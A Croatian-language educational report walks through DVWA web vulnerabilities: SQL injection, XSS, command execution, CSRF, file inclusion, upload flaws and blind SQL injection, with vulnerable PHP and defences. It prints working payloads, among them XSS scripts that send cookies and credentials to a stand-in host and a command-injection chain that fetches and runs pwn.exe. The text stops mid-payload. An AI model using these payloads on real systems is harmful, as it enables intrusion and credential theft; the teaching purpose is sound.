Damn vulnerable web app (DVWA) je web aplikacija koja je „jako ranjiva“. Njezini
glavni ciljevi su da bude potpora stručnjacima sigurnosti da testiraju svoje vještine i
alate u legalnom okruženju, da omogući web dizajnerima bolje razumijevanje procesa
zaštite web aplikacija i pomogne učiteljima/studentima da poduče/nauče sigurnost
web aplikacija.
Aplikacija daje neke pomoći i savjete za pristup nekim osnovama svake vrste napada.
Također omogućuje i prikaz izvornog koda kako se napadi odvijaju (korisno za
debugging XSS i SQLi napada). Još nam daje i tri različite razine sigurnosti web
stranice.
Slika 5.1. Izgled DVWA sučelja
78
5.1.1. SQL Injection
SQL injekcija (engl. SQL injection) je tehnika koja eksploatira sigurnosnu ranjivost
koja se događa u sloju baze podataka aplikacije. Najčešće se eksploatiraju web
aplikacije koje u svojim SQL upitima koriste podatke koje je isporučio korisnik, ali
bez prethodnog ispitivanja da li ti isti korisnički podaci sadrže neke potenijalno štetne
znakova poput navodnika, točke-zarez i sl.
U DVWA aplikaciji kad kliknemo na tab SQL Injection otvori nam se polje za unos
User ID-a. Preko tog polja sad možemo testirati ranjivosti pomoću raznih upita.
Uzet ćemo primjer za sljedeći upit: SELECT first_name, last_name FROM users
WHERE user_id = 'a' OR ''=''". Ako u polje User ID upišemo a' OR ''=' dobit ćemo
sljedeći rezultat:
ID: A' OR ''='
FIRST NAME: ADMIN
SURNAME: ADMIN
ID: A' OR ''='
FIRST NAME: GORDON
SURNAME: BROWN
ID: A' OR ''='
FIRST NAME: HACK
SURNAME: ME
ID: A' OR ''='
FIRST NAME: PABLO
SURNAME: PICASSO
ID: A' OR ''='
FIRST NAME: BOB
SURNAME: SMITH
79
To je rezultat izvođenja navedene naredbe kada je sigurnosna razina postavljena na
low. Ako je postavimo na high tada upisom te naredbe se neće ništa dogoditi.
Za ovakvo pretraživanje, mogli bi očekivati da će samo prvi odgovor biti prikazan.
Ako pogledamo DVWA izvorni kod, možemo vidjeti da je petlja stvorena da kruži za
svaki vračeni red. To je loša ideja jer za očekivani ulaz treba postojati i očekivani
izlaz za samo jedan rezultat.
Izvorni kod za low sigurnosnu razinu:
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
80
}
}
?>
Izvorni kod za high sigurnosnu razinu:
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
Razlika prema low sigurnosnoj razini
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
81
}
}
}
?>
Riješenja:
Ne postoji neki siguran način koji bi spriječio SQL injekciju, ali postoje načini da se
smanji vjerojatnost njenog događanja. U nastavku su dani neki od tih načina.
Provjeravati ulaz: Vrlo je važno provjeravati ulazne podatke koje je predao korisnik
kako bi se osiguralo da ne sadrže opasne kôdove, bez obzira radi li se o SQL-u ili
HTML-u. Umjesto brisanja ''loših dijelova'', jer je vjerojatnost da ćemo se sjetiti svega
što može ugroziti sigurnost vrlo malena, preporuča se brisanje svega osim ''dobrih
dijelova''.
Zabraniti navodnike i escape znakove u ulazu: No usprkos činjenici da lako možemo
provjeriti email ili telefonski broj, nije preporučljivo izbaciti navodnike iz polja imena
zbog postojanja prezimena poput O'Reilly. Postoje alati koji vrše provjeru da su
navodnici ''dobro napisani'' i koji povećavaju sigurnost, ali ne sprječavaju u potpunosti
napad.
Koristiti ograničene parametre: U slučaju ove metode zaštite SQL upiti sadrže prazna
mjesta koja su označena upitnikom i upit se prevodi u interni obrazac.
Ograničiti pristup bazi podataka i odvojiti korisnike: Potrebno je, što je moguće više,
ograničiti prava web aplikacije na pristup bazi podataka: dozvoliti pristup samo tablici
korisnika i to isključivo kroz SELECT naredbu.
Koristiti pohranjene procedure za pristup bazi podataka: Ako ih poslužitelj podržava,
preporuča se da aplikacija koristi SQL pohranjene procedure za pristup bazi, jer je na
taj način moguće spriječiti napad (pod pretpostavkom da su pohranjene procedure
dobro napisane).
82
Izolirati web poslužitelje: Potrebno je projektirati infrastrukturu mreže s
pretpostavkom da će napadač na neki način uspjeti dobiti sve dozvole pristupa
poslužitelju, te je potrebno ograničiti načine da se to iskoristi da bi se
iskompromitiralo nešto drugo.
Podesiti prijavljivanje pogrešaka: Standardne postavke prijave pogrešaka u nekim
radnim okruženjima uključuju informacije o traženju pogrešaka u programu (engl.
debugging).65
5.1.2. Cross site scripting
XSS je propust koji se javlja kad neka web aplikacija dobije zlonamjerne podatke od
korisnika, u najčešćem slučaju taj zahjtev sadrži JavaScript, HTML, VBScript ili neki
drugi kod. Jednom kad web aplikacija zaprimi takav kod prosljeđuje ga korisnku gdje
njegov web browser izvrši zlonamjerni kod.
Dvije najčešće metode XSS napada:
Prva metoda je kada korisnik pošalje web aplikaciji zlonamjerni kod i ona ga spremi
negdje na serveru (u neku bazu, neki fajl ili nesto treće) i svaki put kada neki korisnik
učita određenu stranicu web aplikacija sa servera učitava zlonamjerni kod i šalje ga
korisniku koji je posjetio tu stranicu.
Druga metoda je da se "zlonamjerni kod" ne pohranjuje na serveru nego ga korisnik
unosi nekim putem u web aplikaciju i ona mu ga proslijeđuje natrag, te se kod zatim
izvršava.
Prva metoda je korisnija od ove druge jer je lakša za exploitati. U drugoj metodi
moramo natjerati na neki način žrtvu da ona sama unese zlonamjerni kod koji će se
izvršiti na žrtvinom računalu i poslati podatke nama.
Vrste napada:
65
http://os2.zemris.fer.hr/ns/malware/2007_zelanto/sql.html, (učitano, 7.1.2011.)
83
•
Krađa kolačića (session data)
•
Instaliranje malware-a/trojana
•
Preusmjeravanje na
•
Mijenjanje sadržaja stranice
drugu stranicu (phishing)
U DVWA aplikaciji klikom na XSS tab nam se otvara prozor s okvirom za unos koji
nas pita „What's your name?“. Ako u taj prozor upišem svoje ime, on mi kao rezultat
izbaci Hello Tomislav što vidimo na sljedećoj slici.
Slika 5.2. XSS
U taj prozor možemo unositi razne skripte da testiramo ranjivost web aplikacije.
Unijet ćemo skriptu koja će nas preusmjeriti na stranicu našeg fakulteta. Skripta će
izgledati ovako: <script>window.location = "http://www.foi.hr"</script>
Unosom te skripte i klikom na submit preusmjerava nas na stranice Fakulteta
organizacije informatike.
Unijet
ćemo
još
skriptu
za
izradu
kolačića
koja
glasi
ovako:
<script>document.write(document.cookie); </script>
Izvođenje
ove
skripte
nam
daje
kao
rezultat:
Hello
security=low;
PHPSESSID=jdjp5vjgbv9j74v12qauc5lpm3
84
Evo i jedan primjer naprednije skripte koja omogućava lažnu prijavu:
<script>username=prompt('Please enter your username',' '); password=prompt('Please
enter your password',' '); document.write("<img src=\"http://example.com/listen.php?
username="+username+"&password="+password+"\">");</script>
Naravno, to smo sve radili na low razini sigurnosti. Kad stavimo high razinu
sigurnosti onda nam samo ispiše Hello i skriptu kako smo je i unijeli.
Razliku možemo vidjeti u izvornom kodu pojedine razine sigurnosti:
Low razina sigurnosti:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name']
== ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';
}
?>
High razina sigurnosti:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name']
== ''){
$isempty = true;
85
} else {
echo '<pre>';
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>';
}
?>
Riješenja:
Cross site scripting se postiže kada napadač preko legitimnog Web poslužitelja
pošalje web pregledniku žrtve napada stranicu koja sadrži zlonamjernu skriptu. Ta
skripta će se izvesti koristeći sve dozvole kao legitimna skripta sa legitimnog
poslužitelja. Razvojni programeri mogu zaštititi svoje web stranice tako da osiguraju
da dinamički generirana stranica ne sadrži neželjene oznake (engl. tag).
Da bi smanjio rizik XSS napada korisnik može onemogućiti izvođenje skriptnih
jezika u svom web pregledniku što pruža najbolju zaštitu, ali ima za posljedicu
smanjenje funkcionalnosti. Također, korisnik može slijediti linkove isključivo preko
naslovnice Web stranice koja ga zanima što će znatno smanjiti njegovo izlaganje ovoj
prijetnji uz zadržavanje funkcionalnosti preglednika.
Međutim, korisnička rješenja nisu nikad potpuna rješenja. Ostaje na razvojnim
programerima da modificiraju svoje stranice kako bi eliminirali probleme ove vrste.
To se može postići ispravnim filtriranjem i potvrđivanjem ispravnosti dobivenog
ulaza i pravilnim kodiranjem ili filtriranjem izlaza koji se vraća korisniku.
Stvaranje web stranice koja nije ranjiva na XSS napade uključuje napore razvojnih
programera, administratora poslužitelja i proizvođača preglednika. Iako su gore
navedena rješenja djelotvorna u smanjenju rizika od XSS napada, ona nisu potpuna
rješenja. Najbolje je imati na umu da se sigurnost web aplikacije mora konstantno
provjeravati i unaprjeđivati.
86
Filtriranje
Osnova ovog pristupa je da ne treba nikad vjerovati korisničkom ulazu i da je
potrebno uvjek filtrirati posebne znakove (engl. metacharacters) koji su definirani u
HTML specifikaciji. Svako ulazno polje, uključujući parametre linka, mora biti
provjereno da ne sadrže oznake skripti (engl. script tags). Ako se pronađu
nedozvoljeni znakovi, ulaz se odbacuje i na taj način se spriječava prezentiranje
zlonamjernog HTML-a u korisnikovom web pregledniku.
Filtriranje ulaza nije toliko učinkovito zato što se dinamički sadržaj može ubaciti u
bazu podataka Web stranice raznim metodama, a ne samo koristeći HTTP. U tom
slučaju, Web poslužitelj neće vidjeti podatke kao dio ulaza pa će oni ostati iskvareni.
Preporučuje se obaviti filtriranje izlaza prije nego se preda dinamičkoj stranici.
Kodiranje
Cross site scripting napadi mogu se izbjeći ako Web poslužitelj adekvatno osigurava
da se generirane stranice propisno kodiraju nebili se izbjeglo nenamjeravano
izvođenje skripti.
Svaki znak u ISO-8859-1 spscifikaciji se može kodirati koristeći njegovu numeričku
vrijednost. Tko npr. < i > se mogu napisati kao &lt i &gt, razmak se može napisati
kao %20, znakovi ( i ) kao &#40 i &#41 itd.
Općenito govoreći, kodiranje se preporuča zato što nije potrebno odlučiti koji znakovi
će se zabraniti, a koji dozvoliti. Nažalost, kodiranje svih nepouzdanih podataka može
zauzeti veliku količinu resursa i usporiti prefomanse nekih web poslužitelja.66
5.1.3. Command execution
Većina skriptnih jezika omogućuju naredbe da prođu na naredbeni redak. To je
uobičajeno loša ideja.
66
http://os2.zemris.fer.hr/ns/malware/2007_zelanto/xss.html, učitano 7.1.2011.
87
Slika 5.3. Sučelje s naredbenim retkom za ping IP adrese
Primjeri naredbi:
•
&& dir
•
&& regsvr32 /s evilfile.dll
•
&& wmic process list
•
&& wmic useraccount list
•
&&
copy
c:\WINDOWS\repair\sam
&&
copy
c:\WINDOWS\repair\system.bak
•
&& mkdir C:\iaclub && echo open ftp.codecrypt.com> C:\iaclub\pwn.txt &&
echo
user
iaclubdemo>>
C:\iaclub\pwn.txt
&&
echo
failboat>>
C:\iaclub\pwn.txt && echo binary>> C:\iaclub\pwn.txt && echo get
pwn.exe>> C:\iaclub\pwn.txt && echo quit>> C:\iaclub\pwn.txt && ftp s:C:\iaclub\pwn.txt && C:\iaclub\pwn.exe
88
Slika 5.4. Passwd file, ali nema shadow file
Primjeri izvornih kodova za low i high razine zaštite:
Low
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
89
?>
High
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST["ip"];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode(".", $target);
// Check IF each octet is an integer
if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2]))
&& (is_numeric($octet[3])) && (sizeof($octet) == 4) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
else {
echo '<pre>ERROR: You have entered an invalid IP</pre>';
}
}
90
?>
Vidimo da high razina sigurnosti ima dosta veće kontrole u samom izvornom kodu
nego low razina.
Riješenja:
•
•
•
•
Vezanje parametara
Provoditi najmanje privilegije
Ne koristiti dinamička sučelja upita
Ne koristiti jednostavne izlazne funkcije
5.1.4. Cross site request forgery (CSRF)
To je napad gdje žrtvin preglednik izdaje komandu web aplikaciji sa CSRF
propustom. Preglednici koji automatski uključuju autentikacijske podatke korisnika
(ID sesije, IP adresu, vjerodajnice sa Windows domene, …) sa svakim zahtjevom
aktiviraju taj propust. Učinak na tehnologiju i poslovanje je pokretanje transakcija
(prijenos novčanih sredstava, zatvaranje
account-a), pristup osjetljivim podacima, promjena account detalja i sl.
Princip rada je sljedeći:
napadač postavlja zamku na nekom Internet site-u ili
•
putem e-mail poruke (na stranicama je uključen HTML tag koji sadrži
napad na site sa CSRF propustom)
dok je logirana na site-u koji ima detektiran CSRF
•
propust, žrtva posjećuje i napadačev site (HTML tag koji sadrži napad
izvršava GET zahtjev sa vjerodajnicama žrtve na site-u sa CSRF
propustom)
•
site sa CSRF propustom obrađuje zahtjev jer je žrtva
legitimni i logiran korisnik
U DVWA aplikaciji klikom na CSRF nam se pojavljuje sljedeći prozor za low razinu
zaštite:
91
Slika 5.5. Sučelje CSRF ranjivosti za low razinu zaštite
Slika 5.6. Sučelje CSRF ranjivosti za high razinu zaštite
Iz slika 4 i 5 vidimo da se radi o promjeni lozinke administratora. Vidimo da se kod
high razine zaštite pojavljuje dodatni prozor za potvrdu unesene nove lozinke za
razliku od low razine zaštite.
To možemo vidjeti i iz samih izvornih kodova za pojedinu razinu zaštite.
Low
<?php
if (isset($_GET['Change'])) {
92
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user =
'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>
High
<?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_curr = $_GET['password_current'];
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$qry = "SELECT password FROM `users` WHERE user='admin' AND
password='$pass_curr';";
$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
93
if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) ==
1 )){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user =
'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match or current password incorrect. </pre>";
}
}
?>
Vidimo da je razlika u kodu oko provjere trenutne lozinke.
Riješenja:
• Za osjetljive podatke i vrijednosne transakcije, koristiti ponovnu ovjeru ili
koristiti transakcijska prijavljivanja za osiguranje originalnosti zahtjeva
• Izbjegavanje korištenja GET zahtjeva (URL) za osjetljive podatke ili
vrijednosne transakcije
• POST sam je nedovoljna zaštita
• Dodavanje CAPTCHA i dodatnih vrijednosti skrivene od elementa
94
Ostale vrste napada, kao i ove spomenute u ovom dijelu projekta su opisane i u
drugim dijelovima projekta kao i same metode provjere i neutraliziranja istih.
Za kvalitetnu zaštitu bitno je:
•
Ugraditi u aplikacije bolju provjeru unešenih podataka u formama i parametara
u URL-ovima
•
Zaštititi enkripcijom sve osjetljive podatke bilo u transportu bilo u pohrani
•
Instalirati specijalizirane uređaje koji će prepoznavati i sprječavati
iskorištavanja propusta u web aplikacijama – Web Application Firewall
95
6. DVWA
DVWA (engl. Damn Vulnereable Web Applicatiom) je aplikacija napisana u PHP
programskom jeziku te za svoj rad koristi MySQL bazu podataka. Osnovna svrha ove
aplikacije je da omogući sigurnosnim profesionalcima legalnu okolinu unutar koje će
moći izoštravati svoje vještine, web developerima omogućuje bolje shvaćanje procesa
zaštite web stranica te profesorima te studentima pruža mogućnost učenja o sigurnosti
web aplikacija unutar računalnog laboratorija.67
Ova aplikacija je publicirana pod licencom „Creative Commons AttributionShareAlike 2.0“ što znači da je ovu aplikaciju moguće kopirati, distribuirati te
mijenjati, no ukoliko se modificirana aplikacija bude publicirala pod drugačijim
imenom, potrebno je zadržati isti tip licence te priznati i označiti autorstvo
originalnog djela.
Na ovaj način, DVWA aplikaciju mogu koristiti svi zainteresirani pojedinci bez
straha od kršenja autorskih prava. Ova aplikacija se ne preporuča instalirati na
internetski poslužitelj jer ukoliko zlonamjerni korisnik pronađe da na vašem
poslužitelju postoji ova aplikacija, može prouzročiti veliku štetu podacima.
67
Prevedeno sa engleskog sa web stranice „http://www.dvwa.co.uk“ - učitano 4.1.2011.
96
6.1. Metode Damn Vulnerable Web Application (DVWA)
aplikacije
Ova web aplikacija sadrži nekoliko metoda koje simuliraju određeni sigurnosni
propust u dizajnu i izradi web stranica.
6.1.1. Brute Force
Složene, odnosno čvrste lozinke temelj su svake efektivne sigurnosne strategije.
Lozinkama se zaštićuje područje koje je od posebne važnosti i koje nije dopušteno za
korištenje „običnim“ korisnicima.
Brute Force je metoda upada probijanjem lozinki na način da se pokuša probiti
lozinka uspoređivanjem svake moguće kombinacije permutacije znakova potencijalne
lozinke sve dok se ne pronađe lozinka koja omogućava ulazak u lozinkom zaštićeno
područje.
Mnoge osobe stavljaju jednostavnost lozinke ispred kvalitete lozinke pa su na taj
način odlična meta osobama koje se bave „probijanjem“ tuđih lozinki, odnosno
osobama koje uz pomoć različitih programa, koji nose naziv „password crackers“ –
probijači lozinki, omogućuju pronalazak lozinki drugih osoba koje im omogućuju da
se prijave sa tuđim identifikacijskim podacima. Neki „password cracker“ programi
koriste popise riječi kako bi se probio sustav, a ti popisi riječi se sastoje od najčešće
korištenih imena korisnika (ukoliko nije poznato ime korisnika sustava koji se želi
probiti) te popisa najčešćih lozinki koje su sastavljene od slova, brojeva i posebnih
znakova. Na taj način „password cracker“ programi sa odgovarajućem korisničkom
imenu povezuju lozinku iz popisa lozinki te provjeravaju je li sustav probijen.
Na web stranici http://sectools.org/crackers.html se može pronaći kolekcija „password
cracker“ programa koji se mogu koristiti za uspješno rješavanje „Brute Force“
zadatka DVWA aplikacije. Neki od najpoznatijih programa za „brute force“ su: „Cain
and Abel“, „John the Ripper“ i „THC Hydra“.
97
6.1.2. Command Execution
Udaljeno pozivanje naredbi (engl. Remote Code Execution) je jedna od mogućih
ranjivosti web stranica, a sastoji se u tome što da zlonamjerni korisnik izvrši
programske naredbe pod privilegijama administratora operativnog sustava na kojem
se izvršava web stranica, a odvija se bez znanja autora web stranice koja je napadnuta.
Ovaj sigurnosni propust može prouzročiti ozbiljne probleme funkcioniranju web
stranice koja je napadnuta. Napadač na ovaj način može upravljati računalom na način
koji želi , a koje ima ovakav tip sigurnosnog propusta (može upravljati korisničkim
računima na operativnom sustavu i bazi podataka i sl).
Na novijim Windows operacijskim sustavima postoji sustav Data Execution
Prevention (DEP) koji sprječava izvršavanje naredbi koje se ne nalaze u
memorijskom prostoru aplikacija. Na taj način se sprječava pokretanje zlonamjernih
aplikacija sa pokretanjem Windows-a, a koje se smjeste u memorijske lokacije
predviđene za Windows programe ili slične autorizirane programe. No dolaskom
Windows SP2 i DEP-a, ovaj sigurnosni propust je neutraliziran, na Windows
operacijskim sustavima.
6.1.3. Cross Site Request Forgery (CSRF)
Cross Site Request Forgery poznat kao i CSRF (Sea Surf), XSRF, Session Riding,
napad jednim klikom (engl. one-click attack) je oblik malicioznog iskorištavanja neke
web stranice kod koje se nedopuštene naredbe šalju od strane korisnika kojem ta web
stranica „vjeruje“.
Premda su metode CSRF i XSS poprilično slične, osnovna razlika između tih metoda
je sadržana u tome što metoda CSRF iskorištava „povjerenje“ koje ima ta web
stranica prema nekom korisniku.
Većina metoda koje pruža web stranica se mogu iskoristiti preko ovog propusta. Na
primjer, moguće je postavljati nove postove na forum, pretplatiti se na newletter,
dodavati nove korisnike i sl.
Primjer naredbe koja se može staviti kao novi forum post i koja može pokrenuti neku
naredbu unutar foruma (npr. može pokrenuti naredbu za postavljanje
administratorskih privilegija na nekog od korisnika):
98
<img src="http://host/?command">
<iframe src="http://host/?command">
Način na koji se web aplikacije mogu zaštititi od ovog načina napada jesu:
•
Ispitivanjem zaglavlja da dobije informacija od koje web stranice se pokreće
zahtjev prema određenoj web stranici unutar direktorija web aplikacije (engl.
referer), odnosno ispitivanje je li zahtjev pokrenut iz neke web stranice unutar
cijele web aplikacije
•
Smanjiti inicijalno vrijeme aktivnosti sesije
•
Postavljanjem upita za ponovno upisivanje lozinke kod „osjetljivih“ operacija
6.1.4. File inclusion
Remote File Inclusion (RFI) je oblik ranjivosti web aplikacije kojom je omogućen
napad sa udaljenog računala. RFI pruža napadačima mogućnost da pokreću svoj
vlastiti maliciozni kod na ranjivom web serveru. Napadači pokreću maliciozni kod na
ranjivom serveru na način da taj maliciozni kôd predstave kao legitimnu skriptu koja
bi se trebala nalaziti na ranjivom web serveru.
Do ovog tipa ranjivosti dolazi iz razloga što se validacija ulaznih parametara web
stranice zaboravlja postaviti ili se postavlja na način koji ostavlja sigurnosni propust.
Web stranica koja sadržava ovakav sigurnosni propust predstavlja okolinu u kojoj
napadač nesmetano može pokretati maliciozni kod te u konačnici preuzeti kontrolu
nad poslužiteljem na kojem se ta web stranica izvršava.
Kako bi se spriječio sigurnosni propust ovog tipa, potrebno je provjeriti sadrže li
unešeni parametri (engl. input) pogrešne znakove (poput zagrada i sl.) ili referencu na
datoteku koja se nalazi na nekoj udaljenoj lokaciji.
Tipičan primjer RFI, napisan u PHP programskom jeziku:
<?php
$format = 'convert_2_text';
if (isset( $_GET['FORMAT'] ) )
99
{
$format = $_GET['FORMAT’];
}
include( $format . '.php' );
?>
Kako bi iskoristio ranjivost web aplikacije, napadač će pokrenuti sljedeći zahtjev:
GET /?FORMAT=http://www.malicuos_site.com/hacker.txt? HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)
Na taj će način PHP skripta uključiti sadržaj maliciozne datoteke „hacker.txt“ u svoju
radnu okolinu.
6.1.5. XSS
Cross-site scripting (XSS) je oblik ranjivosti web aplikacije kod koju napadač koristi
kako bi postavio skriptu sa klijentske strane, čiji će učinak biti vidljiv svim
posjetiteljima web stranice. XSS je sigurnosni propust koji se najčešće javlja kada
neka web aplikacija dobije maliciozne podatke od napadača koji su, u najčešćim
slučajevima, JavaScript, HTML, Flash, VBScript ili neki drugi programski kôd.
Jednom kada web stranica zaprimi takav kôd, rezulat izvršavanja kôda prosljeđuje
napadaču.
XSS se najčešće koristi kako bi se došlo do kolačića (engl. cookie) korisnika
prijavljenih u sustav ili za dobivanje vrijednosti sesijske varijable (engl. session).
XSS napadi se mogu podijeliti u dvije kategorije:
•
Stored XSS
•
Reflected XSS
100
Stored XSS napadi su napadi kod kojih je maliciozni programski kod kojeg je
umetnuo napadač u ranjivu web stranicu, spremljen na serveru na kojem se nalazi
ranjiva web stranica, u bazu podataka (bilo da se radi o forumu, listi posjetitelja i sl.).
Na taj način se svaki puta kad neki korisnik učita web stranicu kod koje je iskorišten
XSS propust, server učitava maliciozni kod i šalje ga korisniku koji je posjetio tu web
stranicu.
Kod Reflected XSS napada, zlonamjerni programski kôd se ne pohranjuje na web
serveru, već ga napadač unosi na neki drugi način u web aplikaciju i ona mu ga
prosljeđuje natrag, te se programski kôd zatim izvršava. Kod ove metode običan
korisnik upisuje podatke u formu kod napadnute web stranice, ali se ti podaci umjesto
na web server koji sadrži web aplikaciju čiji je dio napadnuta web stranica, podaci se
šalju napadačevom web serveru, odnosno napadačevoj web stranici, koja je identična
„pravoj“ web stranici, zbog čega korisnik nema dojam da je došlo do velikog
sigurnosnog propusta.
Ukoliko web aplikacija ne provjerava ulazne podatke, vrlo lako je moguće doći do
kolačića (engl. cookie) autentificiranog korisnika:
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' +
escape(document.cookie);
</SCRIPT>
Ovaj programski kôd će poslati kolaćić na web adresu skripte evil.php u parametar
cakemonster.
6.1.6. Unrestricted File Upload
Omogućavanje korisnicima da postave svoje datoteke na web server, otvorilo je vrata
zlonamjernim korisnicima da u toj funkcionalnosti pronađu način za kompromitaciju
web servera.
101
Do značajnih problema uzrokovanih ovim sigurnosnim propustom dolazi zbog
manjka ispravnih načina ispitivanja sadržaja koji se postavlja na web server (engl.
upload).
Postoji nekoliko načina na koje se povećava stupanj sigurnosti da sadržaj koji se
postavlja na web server ne sadrži maliciozni kôd:
•
Ispitivanje tipa datoteke koji se postavlja na web server – na ovaj način se
sugerira kreiranje liste tipova datoteka koje se slobodno mogu postaviti na
web server, provjeravanje MIME tipa, postavljanje minimalne i maksimalne
veličine datoteke, spremanje datoteka koje su postavili korisnici na web server
u posebni direktorij nad kojim nisu postavljena dopuštenja za pokretanje
aplikacija
•
Postavljanje nasumičnih naziva datoteka i direktorija – postavljanje
nasumičnih naziva datoteka koje korisnik želi spremiti na web server i
spremanje istih u nasumično kreirane direktorije, a korištenje datoteka se
sastoji u tome da je u bazi podataka zabilježeno koja datoteka se nalazi u
kojem direktoriju.
•
Sigurnost direktorija web aplikacije – postavljanje datoteka u direktorij koji
ne sadrži datoteke web aplikacije.
•
Skeniranje datoteka antivirusnim programom na web serveru
•
Postavljanje i spremanje osjetljivih dokumenata u enkriptiranom obliku na ovaj način se osjetljivi podaci moraju postaviti na web server u
enkriptiranom obliku, preko SSL veze
•
Postavljanje stranice sa greškama – na stranicama koje prikazuju poruku o
grešci potrebno je postaviti ograničenje prikazivanja teksta greške, a najbolje
bi bilo korištenje neke definirane web stranice koja će prikazivati tekst greške
ovisno o vrsti greške
•
Zapisivanje aktivnosti korisnika – stvaranje zapisa (engl. logs) aktivnosti
korisnika kako bi se moglo saznati koje su radnje izvršavane nad web
serverom i je li došlo do probijanja sigurnosti.
102
6.1.7. SQL Injection
SQL injection je metoda koji omogućuje napadaču web stranice koja ima ovaj
sigurnosni propust, pristup bazi podataka iz koje napadnuta web stranica „uzima“
podatke.
Do ovog tipa ranjivosti dolazi ukoliko napadnuta web stranica ne provjerava podatke
koje je dobila od napradača, već tako na temelju neprovjerenih podataka pokreće SQL
upite koji mogu naštetiti strukturi i podacima baze podataka.
Napadači uobičajeno provjeravaju je li web stranica ranjiva metodom SQL injection,
upisivanjem parametara web stranici koja će vratiti poruku o grešci u SQL upitu.
Ukoliko napadač primjeti kako postoji tekst greške o nevaljalom SQL upitu, on će na
temelju ispravnog upita dodavati novi SQL upit preko kojeg će probijati sigurnost
podataka napadnute baze podataka. Postavljanjem zabrane prikazivanja teksta greške,
problem se ne rješava u potpunosti već je ranjiva za tzv. „blind“ SQLi napade.
6.1.7.1. Blind SQL Injection
Web aplikacije uobičajeno koriste SQL upite sa WHERE klauzulom, u koju se
postavljaju daljnji parametri, kako bi se pretezentirao određeni sadržaj krajnjem
korisniku. Dodavanjem dodatnih uvjeta u SQL upit prisiljavanjem web aplikacije da
takav upit izvrši, napadače može ustanoviti je li web stranica ima „blind“ SQLi
ranjivost.
Na primjer, mnoge tvtke imaju web stranicu u koju dopisuju novosti iz poslovanja,
promijenjene kataloge proizvoda i sl. Ovo je primjer web kataloga stranice neke
tvrtke koja se bavi prodajom bicikala.
www.bicikli-strauss.hr/proizvod.php?id=2
SQL upit koji bi uzimao proizvod izgleda ovako:
SELECT * FROM proizvod WHERE id_proizvoda='2'
Na ovaj način, podaci o drugom proizvodu bi web apliakcija preuzela iz baze
podataka i prezentirala korisniku.
103
Ukoliko je ova web stranica ima SQLi ranjivost, napadač će unijeti dodatne uvijete u
gore navedeni upit, poput:
SELECT * FROM proizvod WHERE id_proizvoda='2 AND '1'='1'
Ukoliko se ovim upitom („AND '1'='1“) ne prikaže nikakva greška od strane web
stranice, napadač će zaključiti da ta web stranica ima SQLi ranjivost.
Tada će napadač upisivati puno složenije i malicioznije upite kojima može saznati
naziv baze podataka, broj tablica u toj bazi podataka, nazive tih tablica, podatke koji
su spremljeni u pojedninim tablicama i sl.
U sljedećem primjeru složenijeg upita, na temelju SQLi ranjivosti web stranice koja je
izrađena u PHP programskom jeziku koristi MySQL bazu podataka, napadač može
doznati naziv aktivne baze podataka:
www.bicikli-strauss.hr/proizvod.php?id=2' and(select 1
from(select count(*),concat((select (select
